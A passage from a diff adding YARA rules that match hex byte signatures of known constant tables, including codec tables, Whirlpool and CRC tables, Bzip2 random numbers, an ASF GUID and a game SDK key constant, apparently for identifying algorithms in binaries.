12122bdf31853f5606c135fcef633ff2582519047b643f48c8e9cde216553f149a1376807a523f1cfb21b2a789533f603c8e430f05523f04dcb680f3fb503fc572c145dd84523fcc724b9a6009523f110b17a2c6bd503f43a0cbb4c94b503f0fc29c1f2f76523f99a5f929a2f7503fb1e252e8e2b3513f46b2fa7f7561523f33bf7dd59f33833f60b95b4c1dac513f4e45412b7442543febe89f969654543f391a1738df9b553f766d1d25885d513f1d6a0ac74e3f513ff3ae7176bfc7513fcc7c700b065b533fdf1fd685f80e4c3fb2fc01b91109553f43dc2895466f523f7338ed843bb9553fde50bc4e008f573f506555ea8649583f583f71acfa5f583f59712caa2ce0773fe414e9c206f0543fe66635f1f0c8593f797095fddd875c3fd566162d0375553f4cd0f327e9da553fb6428f251bc94d3f34d91cbbca93583f674710766bf35d3f6c05d8fb8da25a3fa5c44f93cc0d5f3fb5040c1318cd653f4073201832d56d3fb3dd051174dc6b3f3e80329f65ae743fc7beb870e7a0843f }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_sipr_swaps__8_byt_76_
+{
+strings:
+	$a0 = { 003f0116022c035a0551071f0856093a0a240c440d270e490f3510451139135814221547182e195e1a361c4b1d322046215c234a265528382a572b412d3b304f315d3359375f3d4c43534d50 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_hi0x673C__16_big_512_
+{
+strings:
+	$a0 = { 00002acd559a7f57ab3481f9feaed46306bf2c72532579e8ad8b8746f811d2dc0d7e27b358e47229a64a8c87f3d0d91d0bc1210c5e5b7496a0f58a38f56fdfa21afc30314f6665abb1c89b05e452ce9f1c43368e49d96314b7779dbae2edc82017823d4f421868d5bcb6967be92cc3e1113d3bf044a76e6aba0990c4ef93c55e35f81f3560624aaf9eccb401cb56e19b3347198a66dd4c109873b2becde9e7243886124b6d1c47d193b2b97fc628ece53e3914f46ba3416e950dbfc0c097ea5a2f0405c97a9e50538430aefdd1aafb6729bb03767c2156ec828fa842d715fdd8227a08b777e05d2d894ea383dcd4f61924c50e08715f5b928ff1a53cda6bf0a66bf0413d3e6a14a7c0c4ea09955ebf936d4f478238d51218c67becb693e1b92c668e4c43331419d9cdbae7779820b2ed60314afc35ab1f66cb05e1c89e9fb452710c5bc124960e5bda38f0f58fa2a56f77b35d7e222908e4dc87f64a891da3d07c7256bf29e80325d746fd8b82dca8117acd50002f57059ad1f9fb348463aeae5e0874c50b92215ff53cdff1a0a68a6b58b7727a0d2d27e0f383d94ea6198cd4537679bb06ec2c21f842d28fadd8871555c97f0400532a9efefdd430ab6781aa44f46e39116e3ba3efc0c50dba5a9097424b688617d13d1ce97fc3b2bce59628498a63471c1036dde2bec873b7249de94f3565f81aaf3062e401ceccb19b9b56 }
+
+condition:
+	$a0
+}
+
+	
+rule GS_SDK_challenge_response_algorithm__Soldier_of_Anarchy__key__8_byt_STR_32_
+{
+strings:
+	$a0 = { 3041423346393335393336323131443139413242303830303030333030353132 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_64__flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000000000040000a08dd8ef3f0f0000c0a617b93ffdffffbf9762ef3f0a000040b8f8c83f04000060419fee3f000000200694d23ffdffffbf6b90ed3ffbffffbfe27dd83f040000e0b238ec3ffcffff3f5d2bde3ffcffff1f669bea3f040000403bc7e13ffdffff5f80bce83f01000040f34ce43ffcffff5f9ea0e63ffcffff5f9ea0e63fffffff1ff34ce43ffdffff5f80bce83f020000203bc7e13ffeffff3f669bea3fffffffdf5c2bde3ffdffffffb238ec3f020000a0e27dd83ffdffffbf6b90ed3f070000000694d23f04000060419fee3f10000080b7f8c83fffffffdf9762ef3ff2ffff9fa617b93f040000a08dd8ef3f000000000000f03f0000000000000000fdffffbf9762ef3f0a000040b8f8c83ffdffffbf6b90ed3ffbffffbfe27dd83ffcffff1f669bea3f040000403bc7e13ffcffff5f9ea0e63ffcffff5f9ea0e63f020000203bc7e13ffeffff3f669bea3f020000a0e27dd83ffdffffbf6b90ed3f10000080b7f8c83fffffffdf9762ef3fcdd36abda57767be000000000000f03f0a000040b8f8c8bffdffffbf9762ef3fffffffffe27dd8bffdffffbf6b90ed3fffffff7f3bc7e1bf03000000669bea3ffcffff5f9ea0e6bffcffff5f9ea0e63ffeffff3f669beabf020000203bc7e13f010000006c90edbf01000000e27dd83fffffffdf9762efbf11000020b8f8c83f000000000000f03f000000000000000004000060419fee3f000000200694d23ffcffff1f669bea3f040000403bc7e13fffffff1ff34ce43ffdffff5f80bce83f020000a0e27dd83ffdffffbf6b90ed3ff2ffff9fa617b93f040000a08dd8ef3f0a000040b8f8c8bffdffffbf9762ef3ff9ffff9f5d2bdebf040000e0b238ec3ffcffff5f9ea0e6bffcffff5f9ea0e63f040000e0b238ecbff9ffff9f5d2bde3fffffffdf9762efbf11000020b8f8c83f040000a08dd8efbf040000e0a817b9bffdffffbf6b90edbf020000a0e27dd8bf010000a080bce8bffdfffffff24ce4bffcffffbf3ac7e1bf02000080669beabff8ffff9f0594d2bf04000060419feebf000000000000f03f0000000000000000fdffffbf6b90ed3ffbffffbfe27dd83ffcffff5f9ea0e63ffcffff5f9ea0e63f020000a0e27dd83ffdffffbf6b90ed3f000000000000f03f0000000000000000fcffff5f9ea0e63ffcffff5f9ea0e63fcdd36abda57767be000000000000f03ffcffff5f9ea0e6bffcffff5f9ea0e63f000000000000f03f0000000000000000020000a0e27dd83ffdffffbf6b90ed3ffcffff5f9ea0e6bffcffff5f9ea0e63ffdffffbf6b90edbf020000a0e27dd8bf000000000000f03f0000000000000000000000000000f03f0000000000000000000000000000f03f0000000000000000873806cdc59b493e000000000000f0bf }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C0_table__64_lil_2048_
+{
+strings:
+	$a0 = { d83078c0186018182646af05238c2323b891f97ec63fc6c6fbcd6f13e887e8e8cb13a14c87268787116d62a9b8dab8b809020508010401010d9e6e424f214f4f9b6ceead36d83636ff510459a6a2a6a60cb9bdded26fd2d20ef706fbf5f3f5f596f280ef79f9797930dece5f6fa16f6f6d3feffc917e9191f8a407aa5255525247c0fd27609d606035657689bccabcbc372bcdac9b569b9b8a018c048e028e8ed25b1571a3b6a3a36c183c600c300c0c84f68aff7bf17b7b806ae1b535d43535f53a69e81d741d1db3dd4753e0a7e0e021b3acf6d77bd7d79c99ed5ec22fc2c2435c966d2eb82e2e29967a624b314b4b5de121a3fedffefed5ae168257415757bd2a41a815541515e8eeb69f77c17777926eeba537dc37379ed7567be5b3e5e51323d98c9f469f9f23fd17d3f0e7f0f020947f6a4a354a4a44a9959eda4fdadaa2b025fa587d5858cf8fca06c903c9c97c528d5529a429295a1422500a280a0a507f4fe1b1feb1b1c95d1a69a0baa0a014d6da7f6bb16b6bd917ab5c852e85853c677381bdcebdbd8fba34d25d695d5d902050801040101007f503f3f4f7f4f4dd8bc016cb0bcbcbd37cc6ed3ef83e3e2d0a11280514050578cee61f6781676797d55373e4b7e4e4024ebb25279c27277382583241194141a70b9d2c8b168b8bf6530151a7a6a7a7b2fa94cf7de97d7d4937fbdc956e959556ad9f8ed847d8d870eb308bfbcbfbfbcdc17123ee9feeeebbf891c77ced7c7c71cce317668566667ba78ea6dd53ddddaf2e4bb8175c1717458e4602470147471a21dc849e429e9ed489c51eca0fcaca585a99752db42d2d2e637991bfc6bfbf3f0e1b38071c0707ac472301ad8eadadb0b42fea5a755a5aef1bb56c83368383b666ff8533cc33335cc6f23f6391636312040a100208020293493839aa92aaaadee2a8af71d97171c68dcf0ec807c8c8d1327dc8196419193b927072493949495faf9a86d943d9d931f91dc3f2eff2f2a8db484be3abe3e3b9b62ae25b715b5bbc0d9234881a88883e29c8a49a529a9a0b4cbe2d26982626bf64fa8d32c83232597d4ae9b0fab0b0f2cf6a1be983e9e9771e33780f3c0f0f33b7a6e6d573d5d5f41dba74803a808027617c99bec2bebeeb87de26cd13cdcd8968e4bd34d034343290757a483d484854e324abffdbffff8df48ff77af57a7a643deaf4907a90909dbe3ec25f615f5f3d40a01d208020200fd0d56768bd6868ca3472d01a681a1ab7412c19ae82aeae7d755ec9b4eab4b4cea8199a544d54547f3be5ec937693932f44aa0d2288222263c8e907648d64642aff12dbf1e3f1f1cce6a2bf73d1737382245a90124812127a805d3a401d40404810284008200808959be856c32bc3c3dfc57b33ec97ecec4dab9096db4bdbdbc05f1f61a1bea1a19107831c8d0e8d8dc87ac9f53df43d3d5b33f1cc976697970000000000000000f983d436cf1bcfcf6e5687452bac2b2be1ecb39776c57676e619b0648232828228b1a9fed67fd6d6c33677d81b6c1b1b74775bc1b5eeb5b5be432911af86afaf1dd4df776ab56a6aeaa00dba505d5050578a4c124509454538fb18cbf3ebf3f3ad60f09d30c03030c4c3742bef9befefda7ec3e53ffc3f3fc7aa1c9255495555db591079a2b2a2a2e9c96503ea8feaea6acaec0f65896565036968b9bad2baba4a5e93652fbc2f2f8e9de74ec027c0c060a181bede5fdedefc386ce01c701c1c46e72ebbfdd3fdfd1f9a64524d294d4d7639e0e492729292faeabc8f75c97575360c1e3006180606ae0998248a128a8a4b7940f9b2f2b2b285d15963e6bfe6e67e1c36700e380e0ee73e63f81f7c1f1f55c4f737629562623ab5a3eed477d4d4814d3229a89aa8a85231f4c49662969662ef3a9bf9c3f9f9a397f666c533c5c5104ab13525942525abb220f259795959d015ae54842a8484c5e4a7b772d57272ec72ddd539e439391698615a4c2d4c4c94bc3bca5e655e5e9ff085e778fd7878e570d8dd38e03838980586148c0a8c8c17bfb2c6d163d1d1e4570b41a5aea5a5a1d94d43e2afe2e24ec2f82f61996161427b45f1b3f6b3b33442a515218421210825d6949c4a9c9cee3c66f01e781e1e6186522243114343b193fc76c73bc7c74fe52bb3fcd7fcfc2408142004100404e3a208b251595151252fc7bc995e999922dac44f6da96d6d651a39680d340d0d79e93583facffafa69a384b6df5bdfdfa9fc9bd77ee57e7e1948b43d24902424fe76d7c53bec3b3b9a4b3d31ab96ababf081d13ece1fcece99225588114411118303890c8f068f8f049c6b4a4e254e4e667351d1b7e6b7b7e0cb600beb8bebebc178ccfd3cf03c3cfd1fbf7c813e81814035fed4946a94941cf30cebf7fbf7f7186f67a1b9deb9b98b265f98134c131351589c7d2cb02c2c05bbb8d6d36bd3d38cd35c6be7bbe7e739dccb576ea56e6eaa95f36ec437c4c41b060f18030c0303dcac138a564556565e88491a440d4444a0fe9edf7fe17f7f884f3721a99ea9a96754824d2aa82a2a0a6b6db1bbd6bbbb879fe246c123c1c1f1a602a25351535372a58baedc57dcdc531627580b2c0b0b0127d39c9d4e9d9d2bd8c1476cad6c6ca462f59531c43131f3e8b98774cd747415f109e3f6fff6f64c8c430a46054646a5452609ac8aacacb50f973c891e8989b42844a014501414badf425be1a3e1e1a62c4eb016581616f774d2cd3ae83a3a06d2d06f69b9696941122d4809240909d7e0ada770dd70706f7154d9b6e2b6b61ebdb7ced067d0d0d6c77e3bed93edede285db2ecc17cccc6884572a421542422c2dc2b4985a9898ed550e49a4aaa4a47550885d28a0282886b831da5c6d5c5c6bed3f93f8c7f8f8c211a44486228686 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv40_aic_mode2_vlc_codes__16_big_3240_
+{
+strings:
+	$a0 = { 00010001000501f50011004900000048004b00350003003403c901f400c9004a0fd903c800100037000100c8007501f700cb0074000201f600ca01f101f01f8107f91f801f8307f8007700f5003607fb00761f8200f400f707fa007100f603cb03ca0fd800f103f51f8d07e50013003100f00fdb00f307e4003001f307e703f407e600703f1901f23f180fda003307e101fd01fc007301ff0fc50fc40fc703f7007200050005000500790005000d001d007800690004000100070068001c001f0004006b000c0004001e0006006a0015000f0014001700070016000e0011000900d100d0018100d3007b00100013000400d2000703190008007a00dd00190006000b006500dc00120064018000df00060018000100de001d00d9001b0067000a00d800db001c031800da06350183000000c500660061003500c401820634031b00c7001f00050001001d01c1003500f1006d00f0004900000004000300f300480034006c01c001c3000700060001006f0002004b006e001c000500690068006b003701c200f2039501cd00fd006a0036001501cc00140394004a00fc00ff0017003100fe01cf039700f901ce07250396001600300075072400f8072700330391039000110032001f00fb0074072600fa001e00770019001800040010003d0076007100130001000d00190011001500610019001401ad0060001800010005001b001000190005001700180016000400040013000c0012001a00180005000f001b0004001d0011001c0010000e001b0013001f001a002900050063001e0009006200080007000700190004001a0018006d0007001b0007001a006c000600120005006f000b006e0069001d03590028002b002a001c00d50358001f0001001e006800d400d70019000000b90061006000b802b501ad00bb0af5015100010001000500000003000500040063002500ba00040007006200a50024006d0002006c02b4000d006f002700a4002601ac015001af01ae0021006e02b700200153002300a7015200a60006000c002201a90019002d02b601a8000f0007000e00a10069002c000101ab00a002b100a3002f0af402b00af702b30068015d0af601aa0055015c02b205790578015f00a20905013d013c0904121d049d049c243d090700ed000100150041013f00310014025d025c013e000d000000400139004300300017003309060032004200ec025f00ef025e049f01380901013b0259121c049e09000258243c121f0903003d00ee025b025a004d013a0902024500e9001600e8049901250244004c0498090d00eb003c0011049b049a048500ea003f0124090c003e00390095024702460484009400380f0900cd01fd07911e6d079003d93cd13cd0007500010001003500cc0011000003d801fc03db0010000300cf03da00ce007400340077079300130076007103c5007001ff079201fe01f9003700c90f0801f803c400c80f0b079d03c700010012007300cb0005003603c60072007d000200ca079c01fb00f50031079f0f0a0f35079e01fa1e6c1e6f3cd3079903c11e6e3cd2003000f4007c03c003c3079801e500f701a50001001d002100a1000d006106b900a0006000010005000c0020001c000401a401a700a3001f001e00230022002d002c006300621a8101a601a106b806bb00a206ba0d5906a501a0000f006d06a4002f00ad006c06a700ac0d58000e01a300af00ae006f01a20d5b00a900190001000900a8006e002e000001ad00ab00aa035500291a801a831a82035401ac0d5a1a8d01af03570d450d440d471a8c06a606a1000100110005077500f900f800310030004900fb001000330ec9038d038c00fa038f077400480032000001d500e5038e00e40013000d038907770388038b1df90ec83bc91df8038a03b5077600e73bc801d43bcb0ecb07710eca01d703b401d61dfb0ef507700ef43bca077300e603b7004b1dfa03b60ef700e10ef60ef103b101d1003d0ef00772077d077c003c01d003b001d3003f03b301d20ef3077f00e0004a00150049001407d103fd03fc01c101c000f100170001000101c30048004b0016003101c2004a0011000001cd00f001cc00750010000d03ff01cf01ce07d00f8107d31f1d0f8007d201c903fe007407dd00f31f1c07dc03f907df00f200fd007707de07d901c807d80f8303f80030007600130f8200fc03fb003303fa03e503e401cb00321f1f03e707db07da003d01ca07c503e600710f8d07c41f1e0f8c03e101f5001900650018035103500353002100200064001d0005000501a500230067000500660022001b000400010004001c0061001a000500040007002d0006002c01a4002f0352035d00600001002e001f035c000006b101a7002901a6002800630062035f01a1002b06b006b301a00003006d001e035e006c06b2000201a301a2000d0005000701ad006f002a006e00040004000c00070006000f000e00d500090006000700650181006436c906d50db503790180018300d5001d001c0db40182037800d400d706d40067001f000100d600d1018d006600010000037b06d7037a0db736c806d60db61b790db1018c036500d01b7800d31b7b036406d106d0018f018e00d236cb0367036606d30db006d2036106dd018936ca036036f501880db336f400090008000506dc00dd018b00dc0004000b018a00610003036300df06df0362000a001e001d0061000d0d5506b906b801a5002100200023000c00600d5400ad00ac002200af06bb000f001c0001002d006301a4000e0001000501a706ba01a606a50d570d561abd0d5100ae002c00a9002f0d5001a11abc06a406a706a600a806a101a01abf0d5306a00d521abe06a30062002e00090d5d01a30d5c006d00ab06a2006c001f000106ad002901a200280004001e01ad006f000001ac01af06ac00aa006e00190019007d001801b5000d01b4007c007f01b7000c001b001a01b6000f00d50019007e00d40018001b0001000e0011000900050005000500d701b1000801b0007906fd0371037000d6007801b300100373001306fc007b007a00d100d000d30065037206ff006406fe037d00d200dd00670004037c001201b20007006601bd00060061000401bc001a0060001d0004001c006300010007000b00000062000a0005000700690045006804bd025504bc00e500e40031003000190001012100e700e6003300e100e0006b00180001004400320047006a001b0005003d0046001500410120012304bf01220040003c00e30014025400430975012d00e200ed004200ec004d02570256025104be0974025000ef00ee004c04b9012c04b8004f04bb0253003f00170001025200e900e800eb00000003001600020004004e003e00ea0049000d0007000d01bd000c0d310d300d3303590358002d0065001d001c0d32035b035a002c01bc0345000f001f0001002f006401bf0067000100050066002e006100290695069406970696006001be0d3d00281a4903441a481a4b0d3c0691002b01b9002a0d3f069003470d3e1a4a034600d5034100630d3903400d3801b80d3b0d3a00d400620000069301bb03430342001e000e006d00090001006c00d7034d01ba00080004007500cd003503c103c007f903c31f8d00cc00740011001003c20fd901f100cf03cd00ce003400010001003700c900c80036000000010fd803cc00cb01f007f803cf07fb07fa00ca01f303ce00f50fdb00f407e507e407e701f207e603c901fd0fda1f8c07e11f8f1f8e03c803cb007700760fc503ca07e000f70fc403f500f601fc000303f4007103f700f1001300310030007000050012007301ff0072007d000200610055006002c902c802cb017100b50054000100010001005700010063001d00620039006d000000050038005600b4006c0003001c006f003b0002003a017000b701730051006e00250050006902ca00240027017200b600b1000d000c001f017d002600680053017c006b001e000f0004017f006a02f500190021005202f402f700200bcd05e505e40bcc002300b002f600b3002202f102f00bcf0bce017e005d00bd002501a10159029900bc00240505050401a00001001d006d001c00010005002701a30158001f001e01a200260021000d002000230298006c002200bf00be01ad002d029b00b901ac00b801af029a006f015b006e0285028401ae0019002c01a901a8000c000f015a00bb000e0000006901ab001801aa0004005500ba050701450054050600a5050100a4005705000a05014400a702870286050301470a0401460759004100e503bd0e9d012d012c3a1d03bc012f000d004000e403bf00430042075803be00e700010000003d00e6001500140017003c743d012e03b903b80e9c03bb075b3a1c0e9f012900e101280e9e012b075a00e00e9907453a1f03ba07440e981d0d03a50e9b743c0e9a012a004d00e30e8501d50e84004c07471d0c01d4003f0016074603a40741004f003e01d70740000c0011004e00e200ed00ec00490048 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_7_poly_0x11__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00112233445566778899aabbccddeeff01102332455467768998abbacddceffe02132031465764758a9ba8b9cedfecfd03122130475665748b9aa9b8cfdeedfc04152637405162738c9daebfc8d9eafb05142736415063728d9cafbec9d8ebfa06172435425360718e9facbdcadbe8f907162534435261708f9eadbccbdae9f808192a3b4c5d6e7f8091a2b3c4d5e6f709182b3a4d5c6f7e8190a3b2c5d4e7f60a1b28394e5f6c7d8293a0b1c6d7e4f50b1a29384f5e6d7c8392a1b0c7d6e5f40c1d2e3f48596a7b8495a6b7c0d1e2f30d1c2f3e49586b7a8594a7b6c1d0e3f20e1f2c3d4a5b68798697a4b5c2d3e0f10f1e2d3c4b5a69788796a5b4c3d2e1f0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_7_poly_0x48__8_byt_refl_True_
+{
+strings:
+	$a0 = { 000f1e1119160708171809060e01101f0b04151a121d0c031c13020d050a1b14161908070f00111e010e1f10181706091d12030c040b1a150a05141b131c0d0209061718101f0e011e11000f07081916020d1c131b14050a151a0b040c03121d1f10010e0609181708071619111e0f00141b0a050d02131c030c1d121a15040b121d0c030b04151a050a1b141c13020d19160708000f1e110e01101f17180906040b1a151d12030c131c0d020a05141b0f00111e1619080718170609010e1f101b14050a020d1c130c03121d151a0b04101f0e0109061718070819161e11000f0d02131c141b0a051a15040b030c1d12060918171f10010e111e0f0008071619 }
+
+condition:
+	$a0
+}
+
+	
+rule asf_stream_header_guid__8_byt_16_
+{
+strings:
+	$a0 = { 9107dcb7b7a9cf118ee600c00c205365 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_sample_table__flt64___64_lil_2560_
+{
+strings:
+	$a0 = { 7b14ae47e17a843f74957fc83a576ebffca9f1d24d6260bf21e76319c7717cbf2b97662b512c5ebf55a29e555555a53f0000000000000000000000000000000056bbc254555595bfdcedd9ffb04889bf000000000000c03fe2f107204992ac3f7237294064eea03f434ad73f94d790bfba02260105f683bf000000000000c43f000000000000b03f69bd4fbd84f6a23f9a999999999979bf74957fc83a576ebf511d10c0848cc93f000000000000b43f54172fe025b4a73f9535e51f419e623f66d869e2e410563f9a9999999999c93f000000000000b03f6572e3bf84f6a23f56bbc2545555953f7e5da0c13a577e3f69ff0740ea3bcb3f1c83d31cc771ac3f4c28f99f20dba03f56bbc2545555953fdcedd9ffb048893f3ab7f37f7ad3cb3fb8bd06800f3ea83fb0c2a6c054bb9c3f5e9530801cc7a13f7da3a9e0e811953f3ab7f37f7ad3cb3f5e9530801cc7a13f7da3a9e0e811953fb8bd06800f3ea83fb0c2a6c054bb9c3f69ff0740ea3bcb3f56bbc2545555953fdcedd9ffb048893f1c83d31cc771ac3f4c28f99f20dba03f9a9999999999c93f56bbc2545555953f7e5da0c13a577e3f000000000000b03f69bd4fbd84f6a23f511d10c0848cc93f9535e51f419e623f66d869e2e410563f000000000000b43f54172fe025b4a73f000000000000c43f9a999999999979bf74957fc83a576ebf000000000000b03f69bd4fbd84f6a23f000000000000c03f434ad73f94d790bfba02260105f683bfe2f107204992ac3f7237294064eea03f55a29e555555a53f56bbc254555595bfdcedd9ffb04889bf000000000000000000000000000000007b14ae47e17a843f21e76319c7717cbf2b97662b512c5ebf74957fc83a576ebffca9f1d24d6260bf7b14ae47e17a743f7b14ae47e17a94bf9a9999999999893f023f4536d964d3bffca9f1d24d62603fb98912a0aaaaba3f7b14ae47e17aa43f9a999999999999bf11c4c7101111a13f7b14ae47e17a94bf000000000000c03f7b14ae47e17a843faa182f21d4418d3f91ea9c9f9999a9bf7b14ae47e17a94bf000000000000c43f7b14ae47e17a44bf710b44c0852e40bf7b14ae47e17a44bf710b44c0852e40bf000000000000c43f7b14ae47e17a44bf710b44c0852e40bf7b14ae47e17a44bf710b44c0852e40bf000000000000c03f9a9999999999a9bf7b14ae47e17a94bf7b14ae47e17a843faa182f21d4418d3f2a51cfaaaaaaba3f11c4c7101111a13f7b14ae47e17a94bf7b14ae47e17aa43f9a999999999999bf7b14ae47e17a743f023f4536d964d3bfe919b0e04d62603f7b14ae47e17a94bf9a9999999999893f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005b2ae89f2449c23f000000000000c03fac4a771fd4419dbf5b2ae89f2449a2bf56bbc2545555953f69185374d145c73f2b0dbc1f1e1eae3f11c4c7101111a13f3bba7f2088c9953f7b14ae47e17a843f69185374d145c73f3bba7f2088c9953f7b14ae47e17a843f2b0dbc1f1e1eae3f11c4c7101111a13f5b2ae89f2449c23f5b2ae89f2449a2bf56bbc2545555953f000000000000c03fac4a771fd4419dbf00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale3__flt32___32_lil_28_
+{
+strings:
+	$a0 = { 27357b3f13df6f3f3e3d603ff304353f1201f73e25dcb23ea735453e }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_64__flt32___32_big_512_
+{
+strings:
+	$a0 = { 3f800000000000003f7ec46d3dc8bd363f7b14be3e47c5c23f74fa0b3e94a0313f6c835e3ec3ef163f61c5973ef15aea3f54db313f0e39da3f45e4033f22679a3f3504f33f3504f33f2267993f45e4033f0e39d93f54db323ef15ae73f61c5983ec3ef153f6c835e3e94a0303f74fa0b3e47c5bc3f7b14bf3dc8bd353f7ec46d3f800000000000003f7b14be3e47c5c23f6c835e3ec3ef163f54db313f0e39da3f3504f33f3504f33f0e39d93f54db323ec3ef153f6c835e3e47c5bc3f7b14bfb33bbd2e3f800000be47c5c23f7b14bebec3ef183f6c835ebf0e39dc3f54db30bf3504f33f3504f3bf54db323f0e39d9bf6c83603ec3ef10bf7b14bf3e47c5c13f800000000000003f74fa0b3e94a0313f54db313f0e39da3f2267993f45e4033ec3ef153f6c835e3dc8bd353f7ec46dbe47c5c23f7b14bebef15aed3f61c597bf3504f33f3504f3bf61c5973ef15aedbf7b14bf3e47c5c1bf7ec46dbdc8bd47bf6c835ebec3ef15bf45e405bf226798bf0e39d6bf54db34be94a02dbf74fa0b3f800000000000003f6c835e3ec3ef163f3504f33f3504f33ec3ef153f6c835e3f800000000000003f3504f33f3504f3b33bbd2e3f800000bf3504f33f3504f33f800000000000003ec3ef153f6c835ebf3504f33f3504f3bf6c835ebec3ef153f800000000000003f800000000000003f80000000000000324cde2ebf800000 }
+
+condition:
+	$a0
+}
+
+	
+rule Bzip2_BZ2_rNums__32_big_2048_
+{
+strings:
+	$a0 = { 0000026b000002d00000007f000001e1000003a3000003300000032d000000e900000236000000f7000003d9000002d4000000cd000001c60000035f000001eb000002e5000000f2000003b5000000d6000002dd0000035b0000014f000002c40000026d0000023e000000490000028e000002da000001d8000001a3000001b400000116000001f000000363000000d20000018f000002a8000001e0000000330000036e000001d10000032b000000a900000365000002a300000263000002b900000363000002310000035e000002af000001fb0000011b000001e200000081000003270000024f000002dd0000026f00000096000000ee0000003b0000017b000002ac0000036d00000271000000a90000028300000069000000aa0000025f00000208000003a4000002d7000001dc000002b5000001a9000000ae00000287000000490000007a0000014f00000212000001ba00000355000002b7000000f9000001bd000002030000038d00000221000002bf000003970000036a000001da00000372000001f400000252000002640000028100000321000000dc000000a200000333000003d80000024d00000201000001ef0000031f000000a10000025c000003be00000215000000dd000001900000018200000363000002580000030e0000017e000002540000019e000000ab0000020400000177000002aa000001e50000038f000001140000006200000229000000a3000001620000029a000003a5000001a8000001550000021500000366000000e3000002da000001db000000ba000001070000028700000219000002ae00000258000000e0000001d5000000440000030200000397000000be00000175000001260000033600000328000000ce000000b8000003af0000031b000001800000017f000001cd00000194000002f60000034700000377000002cb000000430000026a00000114000000cc0000039600000369000003090000025c00000230000003b7000000a000000242000002d20000004f000003240000006000000199000002c9000003ac0000028c000003a6000003ca000001bf0000013e000001610000035b000002a00000007000000311000002850000035f000003230000015e0000008b0000005d0000016200000063000003340000038c00000261000003040000009a0000011200000244000000b80000004f0000027200000276000002e60000028d0000011a000002fa0000026f000002a8000000510000039f00000272000003150000007d0000019b00000209000003aa0000012c000003350000004e00000157000000af00000080000000fa000000aa00000306000003cc00000113000003e70000027f000001ef0000004e000001600000007e00000359000003bc000001660000026b000002440000007c000002e100000252000002bd000002640000029d0000007000000086000002b60000016b000003e000000329000002e7000000a8000003ce000003b000000177000002ec0000003400000258000002eb00000282000000b60000035e000000510000015800000325000003dc000002e3000001ff0000028f0000032e0000014e000000f90000020300000381000003bb00000298000003d50000028900000071000003ce000001cb0000037d000000e4000001b100000345000002290000010c0000039e000000f0000000660000028e000001cb00000033000002ae000002f200000326000002f8000001ed000001930000019f0000018a000002af000002bc000003b20000029e0000029000000262000002e200000188000002f80000031f000003770000028d000003d200000141000002400000026900000272000001f60000037e000002a7000000f3000001b8000002a80000036f000000c20000023c00000280000002d40000039e00000038000000cc000002bc000002c300000097000001c9000001c10000031d000000c3000003170000022e000003b1000002a7000001290000003b0000005700000338000002c9000002970000019c000002b5000001560000025e000000860000006c0000023b0000016c00000277000000d4000000ae0000028300000130000001490000015700000061000001ae000002ef000001f10000013a000003d70000017600000336000003a00000008c000000ce0000004900000107000003d4000002e00000036c000001de000001ae00000131000000aa000002020000016c000002b40000033d0000005200000357000003b9000002a4000000f600000171000003ca00000126000002ee000003270000033b0000009600000316000001200000039b000003240000017a000000d70000033c0000025000000119000002350000022b000002c600000052000003800000033f00000223000001050000020c000001ce00000125000001d1000001f6000000380000029500000335000003d0000003df000002920000036500000389000002f6000002e9000000c1000003000000022600000260000003a50000017a0000011e000000d7000003d300000318000003c10000003d000002b00000031900000284000003da000001930000006a0000016e00000389000002840000017400000237000001d2000001b200000285000000d2000001850000022600000397000000870000030c000003050000027b00000185000002c30000006400000272000003be000000a5000001f800000398000000b0000000c1000002c90000035900000109000000cb000000320000029c0000006c00000285000003de00000272000000c5000001fe0000016500000166000003520000035a0000016c000003a80000027e }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book8__32_lil_768_
+{
+strings:
